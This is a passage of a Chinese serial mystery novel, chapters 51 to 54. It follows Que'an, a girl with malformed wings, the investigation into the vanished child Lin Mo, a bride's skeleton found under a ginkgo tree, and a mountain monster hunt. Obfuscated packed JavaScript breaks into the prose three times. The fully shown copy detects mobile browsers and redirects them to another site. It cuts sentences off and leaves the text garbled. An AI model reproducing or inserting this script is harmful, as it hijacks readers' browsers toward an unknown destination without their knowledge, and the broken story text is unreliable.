她哭得很伤心,像是要把这几年所有的委屈和痛苦都哭出来。方妙立刻慌了神,连忙上前抱住她,轻轻拍着她的背:“哎呀不哭不哭,怎么还哭了呢?是不是我们吓到你了?” 江知烨也有些手足无措,只好不停地说:“好了好了,别哭了,我们不是故意的……” 顾时夜和顾夜白面面相觑,不知道该怎么办,只好在一旁小声地说:“别哭了别哭了……” 只有白鸽,依旧安静地站在一旁,只是眼神里多了一丝不易察觉的柔和。 他看着哭得伤心的雀安,似乎想起了自己曾经的遭遇。 51. 鸟儿不一定要会飞 从那天起,雀安就正式成为了江府的一员。 方妙把她安排在自己房间旁边的小耳房里,每天亲自给她做饭,虽然做的并不好最后还是上街吃的。 雀安也渐渐放开了心扉,不再像刚开始那样怯生生的。 只是,她背后那对畸形的翅膀,依旧是她心中最深的痛。她从不轻易显露,总是把它们藏在衣服里,每当看到天空中自由飞翔的鸟儿时以及顾时夜他们身后宽大的翅膀时,她的眼神里总会流露出一丝羡慕和失落。 方妙看在眼里,急在心里。她四处打听,有没有什么办法可以治好雀安的翅膀。 夏末的风终于带上了一丝凉意,梧桐树上的叶子开始染上浅黄,南清城的暑气也渐渐消退。雀安来到江府已经快一个月了,在大家的悉心照料下,她的身体渐渐结实起来,小脸儿也圆润了不少,不再是刚来时那副瘦弱可怜的样子。 她变得越来越活泼,会跟着顾时夜和顾夜白一起爬树掏鸟窝,虽然他们自己就是鸟,会缠着方妙给她买各种好吃的,会拿着江知烨教他的字去考较顾时夜顾夜白,甚至还敢跟在白鸽身后,用好奇的眼神打量他那把总是擦得锃亮的短刀。 这天下午,方妙带着雀安在院子里晒太阳。 方妙拿出一块新做的绿豆糕,递给雀安:“尝尝看,这次放了桂花蜜,可甜了。” 雀安接过糖糕,却没有立刻吃,而是看着天空中一群飞过的麻雀,眼神里充满了向往。那些麻雀叽叽喳喳地叫着,在空中自由地翱翔,翅膀划过天空,留下一道道优美的弧线。 方妙顺着他的目光看去,心里叹了口气。她放下手中的糕点,轻轻抚摸着雀安的头,柔声说:“雀安,在想什么呢?” 雀安低下头,小声地说:“妙儿姐,我……我也想飞。” 方妙的心像被什么东西揪了一下,有些疼。她把雀安抱进怀里,轻声说:“会的,一定会有办法的。安德鲁已经在帮你找医生了,一定会把你的翅膀治好的。” 雀安靠在方妙怀里,没有说话,只是小手紧紧地攥着衣角。她不是不相信方妙的话,只是那些医生看过之后,都只是摇着头说“天生畸形,难以根治”,让她的希望一次次落空。 就在这时,顾时夜和顾夜白气喘吁吁地跑了回来,手里还拿着一个用树枝和破布做的“飞行器”。 “妙儿姐!雀安!你们看我们做了什么!”顾时夜献宝似的把“飞行器”举到雀安面前,“我们做了个能飞的东西,你戴上它,说不定就能飞起来了!” 顾夜白在一旁补充道:“是啊是啊!我们刚才试过了,从假山上往下跳,能滑翔一小段呢!” 方妙看着那个歪歪扭扭的“飞行器”,又好气又好笑:“你们两个又胡闹!从假山上往下跳多危险!” 顾时夜吐了吐舌头:“我们小心着呢!” 雀安看着那个“飞行器”,眼神里闪过一丝光亮。她小心翼翼地接过来,左看右看,小声地问:“这个……真的能飞吗?” “当然!”顾时夜拍着胸脯说,“不信我们带你去试试!” 方妙还想阻止,却看到雀安眼中那强烈的渴望,到了嘴边的话又咽了回去。她想了想,说:“试可以,但必须在平地上试,不准去假山那边,听到没有?” “知道了知道了!”顾时夜和顾夜白异口同声地说。 于是,在顾时夜和顾夜白的怂恿下,雀安戴上了那个简陋的“飞行器”。那东西其实就是两根树枝绑成十字,上面蒙着一块破布,两边各有一根带子,可以绑在胳膊上。 顾时夜和顾夜白一左一右地扶着雀安,大声喊着:“预备——跑!” 雀安有些紧张地迈开脚步,在院子里跑了起来。顾时夜和顾夜白在旁边跟着跑,一边跑一边喊:“加油!快跑!飞起来!” 江知烨被外面的喧闹声吸引,走出书房,看到的就是这样一幅画面:顾时夜和顾夜白扶着雀安在院子里疯跑,雀安头上戴着一个滑稽的破布玩意儿。 江知烨无奈地摇摇头,走上前去,正好看到雀安跑着跑着,脚下一绊,眼看就要摔倒。 “小心!” 江知烨眼疾手快,上前一步,稳稳地扶住了雀安。 雀安惊魂未定地拍了拍胸口,顾时夜和顾夜白也停下脚步,有些不好意思地说:“对不起啊雀安,我们没扶好你。” 雀安摇摇头,看着自己依旧稳稳站在地上的双脚,脸上的兴奋渐渐褪去,取而代之的是一丝失落。她摘下头上的“飞行器”,递给顾时夜,小声地说:“我知道了,我飞不起来的。” 顾时夜和顾夜白看着她失落的样子,也不知道该怎么安慰,只好默默地接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雀安似懂非懂地点点头,但心里那点失落却少了很多。 就在这时,一直沉默的白鸽突然走了过来。他手里拿着一根羽毛,那是一根洁白的鸽子羽毛,柔软而光滑。 白鸽走到雀安面前,蹲下身,把羽毛递到对方手里。 虽然没有说一句话,但雀安却好像明白了他的意思。 雀安看着手心里的羽毛,又看看白鸽温和的眼神,用力地点了点头。 夏蝉的鸣叫声渐渐稀疏,秋天的脚步越来越近。梧桐树的叶子开始一片片飘落,像金色的蝴蝶。雀安站在树下,手里紧紧攥着那根白鸽送给她的羽毛。 她抬起头,看着湛蓝的天空,虽然心里依旧向往着飞翔,但脸上却露出了真挚的笑容。 52. 银杏落处童声绝 风卷着银杏叶掠过南清城的街巷时,林墨正蹲在自家院角那棵老银杏树下。树干粗壮,枝桠间漏下的阳光碎成金箔,落在他灰扑扑的布鞋上。他手里捏着半片枯槁的叶子,叶脉清晰如细瓷裂纹,忽然抬起头,望向远处被夕阳染成橘红的天际线。 “妈妈——” 那声呼喊清亮如鸽哨,尾音却骤然截断在风里。 隔壁院的王婶端着洗衣盆经过时,只听见这声喊,下意识探头往林家门口看了眼。老银杏树枝叶摇曳,树下空空荡荡,只有几片新落的叶子在青石板上打着旋。她以为自己听错了,嘟囔着“这孩子又玩躲猫猫呢”,便转身走了。 直到晚饭时分,苏婉掀开竹帘喊林墨吃饭,才发现院子里没人。她去隔壁问王婶,又绕到巷口的糖画摊,都没见到孩子影子。林文轩从铺子里回来时,看见妻子在银杏树下团团转,围裙上还沾着和面的面粉。 “墨儿呢?” “不见了!”苏婉的声音带着哭腔,“从下午就没影了,我喊了好几遍都没人应!” 南清城的暮色压下来时,报案的消息传到了理尚府。江知烨正往嘴里扒拉最后一口饭,木勺差点磕在碗沿上。 方妙蹭地站起来,:“知烨,又是离奇失踪案?” 顾时夜勾着顾夜白的脖子晃进来,后者手里还攥着半块没吃完的桂花糕。“江大人,妙儿姐,听说东巷口有个孩子没了?”顾时夜挑眉,“孩子没了也要我们管?找管辖府不就好了。” 顾夜白没说话,只是用胳膊肘轻轻撞了撞哥哥,指了指桌上的案卷。 江知烨放下碗筷,用帕子擦了擦手,:“走。” 四人赶到林家门口时,苏婉正靠在丈夫怀里哭,林文轩脸色惨白,对着围过来的邻居们重复着:“就蹲在银杏树下,喊了声‘妈妈’,人就没了……” 方妙蹲下身,握住苏婉颤抖的手:“苏婶婶,您慢慢说,林墨最后一次被看到是什么时候?”她声音软糯,带着安抚人心的力量。 “王婶……王婶说下午听见他喊了声‘妈妈’,等她看过去就没人了……”苏婉抽噎着,“我找遍了他常去的地方,糖画张那儿,土地庙旁边的草堆……都没有……” 江知烨绕着老银杏树走了一圈,树皮粗糙,树下堆积着厚厚的银杏叶,踩上去沙沙作响。他蹲下身,拨开落叶,青石板上干干净净,没有挣扎痕迹,也没有奇怪的脚印。 顾时夜踢了踢树干:“奇怪,就算是自己跑了,也该有个方向吧?总不能凭空消失了。” 顾夜白蹲在另一边,手指在石板上轻轻摩挲,忽然抬起头,对江知烨摇了摇头。 江知烨点头,看向林文轩:“林先生,林墨最近有没有什么异常?比如看到奇怪的人,或者说些奇怪的话?” 林文轩皱眉想了想,摇头道:“没有……就是前几日说晚上听到过吹唢呐的声音,问他在哪儿听的,他又说不清楚,只说是很远的地方。” “吹唢呐?”方妙眼睛一亮,“迎亲的队伍吗?” “不清楚,”林文轩叹了口气,“孩子小,说不定是听错了。” 闻言江知烨站起身,拍了拍手上的灰:“顾时夜,你去问问街坊邻居,下午有没有人看到可疑的人或动静。顾夜白,你去巷口看看有没有遗留的物件。妙儿,你陪林先生夫妇再想想细节。” “得令!”顾时夜打了个响指,拽着顾夜白就往人群里钻。 方妙扶着苏婉进屋坐下,倒了杯热水:“婶婶,林墨有没有特别喜欢去的地方?比如城外?” 苏婉捧着水杯,眼神茫然:“他胆子小,从不敢跑出巷子……就是上个月跟他爹去了趟城隍庙,回来念叨了好几天。” 江知烨在院子里踱步,夕阳彻底沉下去,银杏叶在风中发出萧瑟的声响,他总觉得这声“妈妈”背后藏着什么。不是简单的走失,那声呼喊里带着一种奇异的……决绝。 接下来的三天,江知烨四人几乎翻遍了南清城。顾时夜把东巷口的街坊问了个遍,除了王婶那声模糊的呼喊,再无其他线索。顾夜白在巷口的泥地里找到了半颗弹珠,却是寻常孩童玩物,查不出来历。方妙陪着苏婉去了城隍庙,又去了林墨提过的几个地方,都一无所获。 “会不会是被人拐走了?”方妙坐在理尚府的院子里,揪着石桌上的青苔,“可谁会拐走孩子还不留痕迹?” 顾时夜啃着梨,含糊不清地说:“要是人贩子,早该有动静了。除非……”他压低声音,“是那些不干净的东西?” 顾夜白瞪了他一眼,“别乱说。” 江知烨靠在廊柱上,手里把玩着一枚铜钱:“林墨说听到过唢呐声,迎亲队伍……南清城这几日有谁家办喜事吗?” “我问过了,”方妙立刻回答,“这半个月都没有,上一家还是半年前西市的李家娶媳妇。” 正说着,门外传来急促的脚步声,一个衙役满头大汗地跑进来:“江大人!不好了!东门外的乱葬岗……发现了个孩子!” 四人对视一眼,立刻起身。乱葬岗在南清城东十里,是无主尸体和弃婴掩埋的地方,平日里荒草丛生,少有人去。江知烨赶到时,几个衙役正围着一个蜷缩在枯草丛里的身影。 是林墨。 他穿着走丢时的那件青布褂子,上面沾满了泥土和草屑,小脸蜡黄,嘴唇干裂,却睁着一双大眼睛,呆呆地望着天空。苏婉尖叫一声扑过去,将他紧紧抱在怀里,林文轩也冲上来,双手颤抖着检查儿子有没有受伤。 “墨儿!墨儿你怎么样?” 林墨眨了眨眼,视线落在苏婉脸上,嘴唇动了动,却没发出声音。江知烨示意衙役退开,蹲在孩子面前,声音放柔:“林墨,你还记得我吗?我是江大人。你怎么会在这里?” 林墨的目光慢慢移到江知烨脸上,眼神里有茫然,也有一丝恐惧。他张了张嘴,声音沙哑得像破锣:“我……” 见状顾时夜连忙递过水壶,林墨贪婪地喝了几口,才断断续续地说:“那天……傍晚的时候,我蹲在银杏树下,看到……看到远处有好多人。” “什么人?”方妙追问。 “迎亲的……”林墨的声音低下去,“好多人打着红灯笼,吹着唢呐,队伍老长老长了……”他比划着,小手在空中画了个弧线,“他们从西边过来,敲敲打打,可热闹了。” 江知烨和方妙对视一眼,心沉了下去。 西边是乱葬岗的方向。 “然后呢?” “然后……”林墨皱起眉,像是在努力回想,“我想过去看看,刚站起来,就觉得头好晕……好像有人在我背上推了一下,我就什么都不知道了。”他指了指自己的后颈,“醒来的时候,就在这里了。” 顾时夜环顾四周,乱葬岗上荒坟累累,几棵歪脖子树在风中摇曳,确实像极了阴惨的迎亲队伍。“你确定是迎亲的?有没有看清楚他们穿什么衣服?” 林墨摇摇头:“天太暗了,只看到灯笼是红的,唢呐声很大……”他突然打了个寒颤,往苏婉怀里缩了缩,“好冷……” 江知烨站起身,对顾时夜使了个眼色。顾时夜点头,带着顾夜白去周围查看。乱葬岗上除了林墨留下的痕迹,再没有其他脚印,仿佛他真的是凭空出现在这里。 “这就怪了,”方妙嘀咕道,“这半个月根本没人娶亲,哪来的迎亲队伍?” 江知烨看着蜷缩在母亲怀里的林墨,孩子的眼神空洞,像是被什么东西吓破了胆。他想起林文轩说过孩子前几日听到过唢呐声,难道不是听错了? 林墨被带回家后,就一病不起。起初只是发烧,请来的郎中开了药,喝下去却不见好转。他整日躺在床上,眼神呆滞,嘴里偶尔会喃喃自语,说些“红灯笼”、“吹唢呐”的话。苏婉和林文轩急得不行,又请了好几个郎中,都查不出病因。 江知烨四人隔两天就去探望一次。顾时夜每次都带些蜜饯果子,想逗林墨开心,可孩子只是看一眼,就转过头去。顾夜白则会坐在床边,安静地看着林墨,有一次偷偷塞给他一只用草编的蚂蚱,林墨捏在手里,手指才微微动了动。 “这孩子像是被吓掉了魂。”方妙叹了口气,蹲在院子里给苏婉帮忙择菜。 银杏叶落了满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694784|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,像是给院子铺了层金黄的毯子。 江知烨站在廊下,看着屋里昏暗的灯光:“他说的迎亲队伍,我们查遍了南清城,确实没有。西巷的张媒婆说,最近根本没有人家定亲,更别说办喜事了。” 顾时夜踢了踢脚下的叶子:“难道是……阴亲?” 顾夜白正在给林墨削木剑,闻言手一顿,木屑飞溅,“不能吧,这东西太玄乎了。” “阴亲也得有人家办才行,”江知烨皱眉,“乱葬岗那边我们也查过了,没有新动土的痕迹,也没有异常的气息。”他顿了顿,声音压低,“除非……是林墨自己走到那里去的,但一个半大的孩子,怎么会在昏迷后出现在十里外的乱葬岗?” 这个问题像团乱麻,缠得所有人都喘不过气。方妙把择好的菜放进竹篮,拍了拍手:“知烨,你说有没有可能,那迎亲队伍根本不是人?” 江知烨没说话,只是望着那棵老银杏树。秋风吹过,叶子簌簌落下,像是谁在无声地叹息。 五天后,林墨的病情突然恶化。他不再喃喃自语,也不再睁着眼睛看天花板,而是陷入了深度昏迷。苏婉守在床边,日夜不停地掉眼泪,林文轩则一夜之间白了头。 江知烨四人赶到时,郎中刚从屋里出来,摇着头,叹了口气:“准备后事吧,这孩子……脉象全无,像是被什么东西吸走了生气。” “吸走了生气?”方妙脸色发白,“怎么会这样?” 郎中摇摇头,背着药箱走了。屋里传来苏婉撕心裂肺的哭声,林文轩靠在门框上,身体摇摇欲坠。 顾时夜捏紧了拳头,顾夜白低头看着手里未完成的木剑,指节泛白。江知烨走进屋,看着床上瘦小的身影,林墨的脸颊凹陷下去,嘴唇青紫,已经没有了呼吸。 一切都像场梦一样..... 林墨的葬礼办得很简单。苏婉哭得几乎晕厥,林文轩麻木地招呼着前来吊唁的街坊。江知烨四人站在人群后面,谁也没有说话。顾时夜看着坟头新立的石碑,上面刻着“爱子林墨之墓”,突然转过身,一拳砸在旁边的树干上。 顾夜白拉住他,对他摇了摇头,眼神里满是悲伤。 方妙吸了吸鼻子,拽了拽江知烨的袖子:“知烨,这案子……就这么断了?” 江知烨望着远处的乱葬岗方向,暮色又一次笼罩下来,天边的晚霞像凝固的血。他想起林墨说的红灯笼和唢呐声,想起郎中说的“吸走了生气”,想起那棵老银杏树下突然消失的小小身影。 没有线索,没有证据,甚至连孩子的死因都查不明白。 “先回去吧。”江知烨的声音有些疲惫。 四人默默地离开坟地,走在回南清城的路上。顾时夜和顾夜白并肩走着,难得地没有打闹,顾夜白时不时抬头看一眼哥哥,又低下头去。方妙踢着路上的小石子,发间铜铃发出细碎的声响,在寂静的暮秋傍晚显得格外凄凉。 “你们说,”方妙突然开口,“林墨看到的迎亲队伍,会不会是……”她没说完,却没人接话。 江知烨停下脚步,回头望了眼林墨的坟头,那里插着几支白色的纸幡,在风中无力地飘着。 他想起自己曾经失去的那个小家伙,想起锁骨上那两颗痣,心中某个角落突然刺痛起来。 有些案子,天生就是断案。就像有些消失,永远找不到踪迹。 南清城的灯火在远处亮起,像散落的星辰。江知烨深吸一口气,暮秋的风带着寒意,灌入肺中。他转过身,对三人说:“走吧。” 顾时夜嗯了一声,顾夜白点了点头。方妙吸了吸鼻子,跟上他们的脚步。 没有人再提起林墨的案子,也没有人再去深究那支不存在的迎亲队伍。日子一天天过去,南清城依旧车水马龙,老银杏树下又有了新的孩童玩耍,只是偶尔有人经过时,会想起那个喊了声“妈妈”就消失的孩子,然后摇摇头,叹口气,继续走自己的路。 只有江知烨四人,在某个风起的黄昏,路过东巷口的老银杏树时,会不约而同地停下脚步。 风吹过,银杏叶簌簌落下,像一场无声的告别。 53. 银杏枯骨 南清城的秋意浓得化不开时,林家门口的老银杏树却先一步枯了。 树干上皲裂的纹路像苏婉脸上的泪痕,终日坐在树下的身影让林文轩心头的郁气越积越重。那日他从铺子里回来,看见妻子又对着光秃秃的枝桠发呆,手里捏着片早已干瘪的银杏叶,突然就爆发了。 “看!你就知道看!”林文轩抢过叶子狠狠掷在地上,“墨儿没了!这树也跟着成了煞星!” 苏婉被他吓了一跳,随即又埋下头去,肩膀微微颤抖。林文轩盯着那棵树,想起儿子消失前就是蹲在树下,想起他病中喃喃的“红灯笼”,一股无名火直冲头顶。他抄起墙角的锄头,对着树干狠狠砸下去。 “我挖了它!看它还怎么作祟!” 邻居们闻声赶来时,林文轩已经刨开了树根周围的泥土。锄头碰到硬物发出“当”的一声响,他扒开浮土,露出一截泛着青白的骨头。人群顿时炸开了锅,有人尖叫着跑开,有人哆嗦着去报官。 江知烨赶到时,林文轩正瘫坐在坑边,锄头滚在一旁。坑底的白骨被树根缠绕着,像是被一只巨手攥住,指骨深深嵌进泥土里。方妙捂着嘴退后半步,顾时夜吹了声口哨,顾夜白则蹲下身,仔细观察着骨骼的形状。 “江大人,这骨头……”顾夜白开口,他指着颅骨两侧细微的凸起,“羚羊族的特征。” 江知烨点点头,示意衙役小心挖掘。树根从白骨的胸腔和盆骨间穿过,有些地方甚至长进了骨骼的缝隙里,像是树与尸身共生了许久。负责验尸的仵作名叫陈九,此刻正蹲在坑边,用镊子小心翼翼地清理骨头上的泥土。 “骨骼完整,无明显外伤,”陈九眯着眼,用探针戳了戳肋骨,“看耻骨联合面磨损程度,死者是个年轻女子,年龄大概未成年。”他拿起一片附着在骨头上的烂布,“这是……喜服?” 那布料早已朽烂成絮,却还能看出红漆般的色泽,上面隐约有金线绣的鸳鸯纹样,只是大多已被树根磨成了碎片。方妙凑近了看,突然指着一块残片:“知烨,你看这针脚!是北地特有的缠枝纹绣法!” 江知烨接过残片,指尖捻过粗糙的布料。北地绣法在南清城并不常见,尤其是喜服上的纹样,通常带着祈福的意味。他看向林文轩:“林先生,这棵树……是什么时候种的?” 林文轩还没从震惊中回过神,闻言茫然摇头:“我搬来的时候就有了,听说是前前屋主种的,至少……至少有二十年了。” 二十年。江知烨心中一动,看向陈九:“陈老先生,这具尸骨,能看出下葬多久了吗?” 陈九用刷子轻扫着颅骨,半晌才道:“树根长进骨头里,没个十年八年做不到。看这喜服的腐烂程度……怕是有二十年了。” 银杏树下发掘出女尸的消息像瘟疫一样传遍了南清城。江知烨让人将尸骨小心收起,送去陈九的验尸房,自己则带着方妙和顾氏兄弟去打听二十年前的旧事。 “二十年前……”街角茶摊的王老头擦着桌子,眯起眼睛回忆,“要说特别的事……好像是有户姓周的人家办喜事,不过……”他压低声音,“是冥婚。” “冥婚?”方妙眼睛一亮,“哪家的?” “就是西市开布庄的周家,”王老头往地上啐了口茶沫,“他家独子周少爷年前打猎摔死了,非要找个姑娘配阴婚。后来不知从哪弄来个外地丫头,听说还是个羚羊族的。” “那姑娘呢?”江知烨追问。 “谁知道呢,”王老头摇摇头,“拜堂那天晚上就没了踪影。周家说她跑了,可谁也没见过人。后来周家也败落了,布庄早就易了主。” 顾时夜摸着下巴:“江大人,您说会不会是那姑娘没跑掉,被埋在银杏树下了?” “走,去周家旧址看看。” 周家布庄如今成了一家米铺,掌柜是个胖子,听说他们来打听旧事,连连摆手:“我不知道我不知道!以前的事别问我!” 顾时夜眼珠一转,掏出一锭银纹拍在柜上:“掌柜的,我们就问问二十年前周家冥婚的事,那姑娘到底怎么了?” 胖子看着银纹,咽了口唾沫,压低声音:“那姑娘……姓柳,好像叫柳莺儿。听说不是自愿的,拜堂时就哭哭啼啼,周家少爷的灵位摆在堂上,她拜的就是个牌位。” “后来呢?”方妙追问。 “后来半夜里,有人看见周家后院火光一闪,像是有人放了把火,”胖子声音更小了,“第二天周家就说柳姑娘跑了,可我听以前的老伙计说……她根本没跑成。” “没跑成?”江知烨皱眉,“那她人呢?” “谁知道呢,”胖子把银子揣进怀里,“周家当时手眼通天,这事就压下去了。不过……”他犹豫了一下,“听说那柳姑娘性子烈,不是省油的灯。” 秋阳透过验尸房的木格窗,在青砖地上投下斑驳光影。陈九戴着老花镜,正用细毛刷清理柳莺儿颅骨上的最后一点泥土。江知烨站在案边,看着那具被树根缠绕的白骨,指骨蜷缩的姿态仍保持着死前的挣扎。 “江大人,”陈九放下刷子,指着肋骨内侧一处淡青色的痕迹,“这不是自然形成的色差。”他用探针轻轻刮擦,粉末簌簌落下,“像是某种矿物沉积,时间久了渗入骨缝。” 方妙凑过去看,鼻尖几乎碰到骨头:“陈老先生,这是什么东西?” “不好说,”陈九捻起粉末放在瓷片上,“得用烈酒烧制看看。但看这分布……像是从口鼻吸入的。” 顾时夜靠在门框上日有所思:“吸入的?难道是被人灌了毒药?” 顾夜白蹲在案下检查腿骨,闻言抬头:“哥,你看这脚踝骨,有捆绑留下的勒痕。”他手指划过骨骼凹陷处,“一圈环形痕迹,生前被绑过。” 就在这时,一个小司慌慌张张跑进来:“几位大人,外面有人找!说是……说是周家的后人。” 来人叫周明,是周家旁支的孙子,如今在码头做搬运工。他穿着打补丁的短褂,手指紧张地绞着衣角:“大人,我……我是来投案的。” 江知烨示意他坐下:“慢慢说。” “二十年前,我大伯父当家,”周明声音发颤,“他儿子周少爷打猎摔死了,非要找个姑娘配阴婚。后来从北地弄来个羚羊族的丫头,叫柳莺儿。” “柳莺儿后来怎么了?” “她性子烈,不肯拜堂,”周明咽了口唾沫,“拜堂那晚,她撞了灵位,还把喜服撕了。我大伯父气疯了,把她绑在后院柴房……”他顿了顿,像是想起可怕的画面,“半夜里我听见动静,偷偷去看,只见柴房火光冲天,柳姑娘在里面哭喊……” “火是你大伯父放的?” 周明猛地摇头:“不是!是他请的一个术士,说是要‘净化’不祥之人。那术士撒了一把粉,柴房就着了火,柳姑娘的哭声很快就没了……”他捂住脸,“第二天,大伯父说柳姑娘跑了,给了我爹一笔钱,让我们别声张。后来周家败落,大伯父病死前才告诉我爹,柳姑娘的尸身……被埋在了银杏树下。” “那术士撒的粉是什么?”江知烨追问。 “我不知道,”周明摇头,“只记得是银白色的粉末,遇火就着,还有股怪味。” 顾时夜突然拍手:“陈老先生验出的矿物粉末!难道就是那个?” 江知烨站起身:“周明,你大伯父请的术士,叫什么名字?现在在哪?” “叫……叫吴三手,”周明想了想,“听说后来去了东门外的乱葬岗附近住,靠给人看风水为生。” 乱葬岗的腐叶层下埋着历年的尸骸,顾时夜每走一步都能听见脚下传来枯枝折断的脆响。他捏着鼻子避开一丛开着惨白小花的植物,裤脚却被勾住——低头才发现是半截锈蚀的铜锁,锁身刻着模糊的“囍”字,锁孔里还插着半根烧黑的木簪,“江大人,这吴三手住哪啊?难不成住在坟包里?” 顾夜白突然指着远处一棵歪脖子树:“哥,你看那树下有炊烟。” 果然,歪脖子树下搭着个简陋的草棚,草棚用破船板搭建,檐下挂着串风干的蟾蜍,蟾蜍眼窝处嵌着两枚磨圆的铜钱,在风中发出哑哑的声响。一个穿着破旧道袍的老头正蹲在火堆前煮东西,闻见动静,慢悠悠抬起头,脸上满是皱纹,左眼蒙着块黑布。 “几位大人,”老头咧嘴一笑,露出黄牙,“是来问阴宅风水的?” 江知烨打量着他:“你是吴三手?” 老头眼神一凛,随即又堆起笑:“正是老夫。不知几位大人有何吩咐?” “二十年前,周家冥婚,你是不是去过?”江知烨开门见山。 吴三手端着瓦罐的手不易察觉地抖了一下,随即哈哈笑道:“大人说笑了,二十年前的事,老夫早忘了。” 顾时夜上前一步,手按在刀柄上:“忘了?柳莺儿的尸骨都从银杏树下挖出来了!” 吴三手脸色骤变,猛地将瓦罐朝他们砸来,转身就往乱葬岗深处跑。顾夜白眼疾手快,捡起地上的石头掷出,正中吴三手后心。老头哎哟一声摔倒在地,被顾时夜追上按住。 “说!当年你撒的是什么粉?”江知烨蹲在他面前。 吴三手喘着粗气,眼神怨毒:“是‘断魂粉’……北地巫医用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴三手被押回理尚府时,南清城的百姓早已围得水泄不通。江知烨让人将柳莺儿的尸骨重新收敛,又派人去查封了周家旧址。米铺掌柜胖子吓得魂不附体,跪在地上直磕头。 “知烨,”方妙看着卷宗上的记录,“原来林墨看到的迎亲队伍,是吴三手烧纸人弄出来的假象,他听到的唢呐声,其实是风声,真的好悬乎。” 江知烨正在写结案报告,闻言停笔:“吴三手怕事情败露,才对林墨下了手。断魂粉的毒性缓慢,加上孩子受惊过度,才会查不出病因。” 顾时夜啃着苹果:“那柳莺儿的尸骨怎么会被埋在银杏树下?周家也太狠了!” 顾夜白正在整理证物,闻言开口:“哥,你忘了周明说的吗?他大伯父相信风水,以为银杏树能镇住冤魂。” 江知烨放下毛笔,走到窗边。东巷口的老银杏树如今只剩下个大树桩,阳光直射在坑洼的地面上,那里曾经埋着一个年轻的生命和一个孩童的天真。 “知烨,”方妙走到他身边,“林墨的案子……算破了吗?” 江知烨看着远处,:“真相大白,凶手伏法,算是破了。”但他知道,对苏婉和林文轩来说,儿子的死永远是无法愈合的伤口。 几天后,吴三手被判处死刑,周明因为揭发有功,免于处罚。柳莺儿的尸骨被送往义庄,等待她远方的亲人来认领。南清城的百姓们议论了几日,便又恢复了往日的平静,仿佛银杏树下的白骨和乱葬岗的凶案,只是秋夜里一场短暂的噩梦。 江知烨四人再次路过东巷口时,林家门口静悄悄的。苏婉没有再坐在树下,林文轩的铺子也关了门,听说他们搬去了城外的亲戚家。那棵被砍掉的银杏树桩上,长出了几株嫩绿的新芽,在秋风中微微摇曳。 “你说,”顾时夜看着新芽,难得地安静,“柳莺儿要是泉下有知,会不会怪我们现在才找到她?” 顾夜白拍了拍他的肩膀,没有说话。 方妙叹了口气,铜铃发出轻微的声响:“至少,她的冤屈洗清了。” 江知烨没有说话,只是望着那几株新芽。阳光穿过街巷,落在他的肩上,温暖而明亮。有些伤口会愈合,有些真相会被揭开,而生活,总会像那银杏新芽一样,在废墟上重新生长。 他转过身,对三人笑了笑:“走吧,理尚府还有新的案卷等着我们。” 顾时夜打了个响指:“得令!江大人,这次要是再遇上离奇案子,咱们一定能破!” 顾夜白点头,嘴角勾起一抹浅笑。 方妙挽住江知烨的胳膊:“知烨,我们去吃桂花糕吧,听说西市新开了一家,可好吃了!” 四人说说笑笑地朝着理尚府走去,身后的老银杏树桩在秋阳下沉默着,只有那几株新芽,在风中轻轻摆动,像是在诉说着那些被掩埋的过往和最终尘埃落定的结局。 54. 苍莽山骸失踪案 苍莽山的秋霜比往年落得早,江知烨裹紧了狐裘斗篷,身后的安德鲁正用匕首挑开缠在剑鞘上的藤蔓。 “知烨,前面林子里的腐臭味更重了。”安德鲁顿了顿,“比三天前在山脚下发现的断肢腐烂速度快三倍。” 江知烨蹲下身,指尖蹭过地面上拖曳的黏液痕迹。那痕迹呈暗褐色,边缘凝结着冰晶,在枯叶上划出蜿蜒的深沟。 “像某种节肢动物的分泌物,”他拔出腰间短刀,刀锋在腐叶堆里挑出半片甲壳,“硬度接近玄铁,上面还有齿痕。” 闻言安德鲁接过甲壳片,用匕首尖敲了敲:“齿距七寸,咬合力能碎青石。” 此次他们前来是为了击杀山中野兽的,听山脚下猎户描述的场景——失踪的樵夫只留下半只染血的草鞋,周围散布着碗口大的足印,足印中心有个针孔状的深洞。 两人沉默地穿过一片扭曲的杜鹃花丛,腐臭味浓得几乎能凝固空气。江知烨瞥见前方斜坡上倒伏着几棵合抱粗的冷杉,树干上布满了蛛网般的裂痕,像是被巨力碾过。 “在那里。”安德鲁突然停步,指向斜坡下方的洼地。 洼地中央躺着具尸体,确切地说是半截尸体。 死者穿着山民的粗布衣裤,胸腔以上消失不见,断口处布满了细密的咬痕,像是被无数把剃刀同时切割过。尸体周围的泥土被翻搅成泥浆,泥浆里嵌着无数细小的肢节,看上去像是某种昆虫的腿足,每根都有中指长短,泛着金属般的光泽。 江知烨刚要上前,安德鲁突然抓住他的手腕:“别动!看尸体周围的土!” 暮色中,尸体周围的泥土正微微起伏,像是有无数活物在地下蠕动。 “是千足蚰蜒,”安德鲁的声音低沉,“而且是变异种。” 话音未落,洼地边缘的腐叶堆突然炸开!数十条暗绿色的虫身破土而出,每条虫身上都覆盖着菱形甲壳,头部的螯肢开合时发出咔嚓巨响。 “后退!”安德鲁一把将江知烨推开,同时抽出腰间利剑。剑身在空中划出半轮弧光,精准地斩在最先扑来的虫螯上。 “当”的一声巨响,火星四溅,那虫螯只是裂开道缝隙,反而激起了虫群的凶性。 江知烨滚到一块巨石后,软剑出鞘的同时,他瞥见虫群腹部有处淡黄色的软甲,立刻矮身突进,刀尖直刺其中一条虫的腹部。 